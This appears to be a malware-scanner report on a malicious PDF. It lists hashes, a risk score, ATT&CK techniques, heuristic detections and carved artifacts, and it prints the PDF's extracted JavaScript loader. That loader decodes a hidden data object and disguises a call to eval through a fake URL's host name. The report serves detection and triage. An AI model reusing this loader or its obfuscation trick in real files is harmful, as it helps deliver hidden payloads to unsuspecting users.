Malicious PDF — malware analysis report

Static analysis result for SHA-256 dfff1e80b9844bc4…

MALICIOUS

PDF

4.5 KB First seen: 2026-05-07
MD5: 02fbb9010d88e2b179960be42c06ea44 SHA-1: 9da66056c7ddf55393e65b9f277639c6c8f31ab5 SHA-256: dfff1e80b9844bc4629c461f6581da096286e871a9e9c47b6556a74c9a0e4a9e
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file exhibits multiple indicators of malicious intent, including embedded JavaScript and an embedded binary file. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript and file are likely used to execute a secondary payload, although the exact mechanism cannot be determined without further analysis of the embedded content.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 78030 bytes
SHA-256: fcbea7b61d303c8c3ee492559ad4f71073858191d314d36cf746d0d509b25e01
Detection
ClamAV: No threats found
Obfuscation or payload: likely
267 of 267 identifiers look randomly generated (e.g. 'iMKkA0VsNYe1LbDY1iMKkA0VsNYe1LbDY2iMKkA0') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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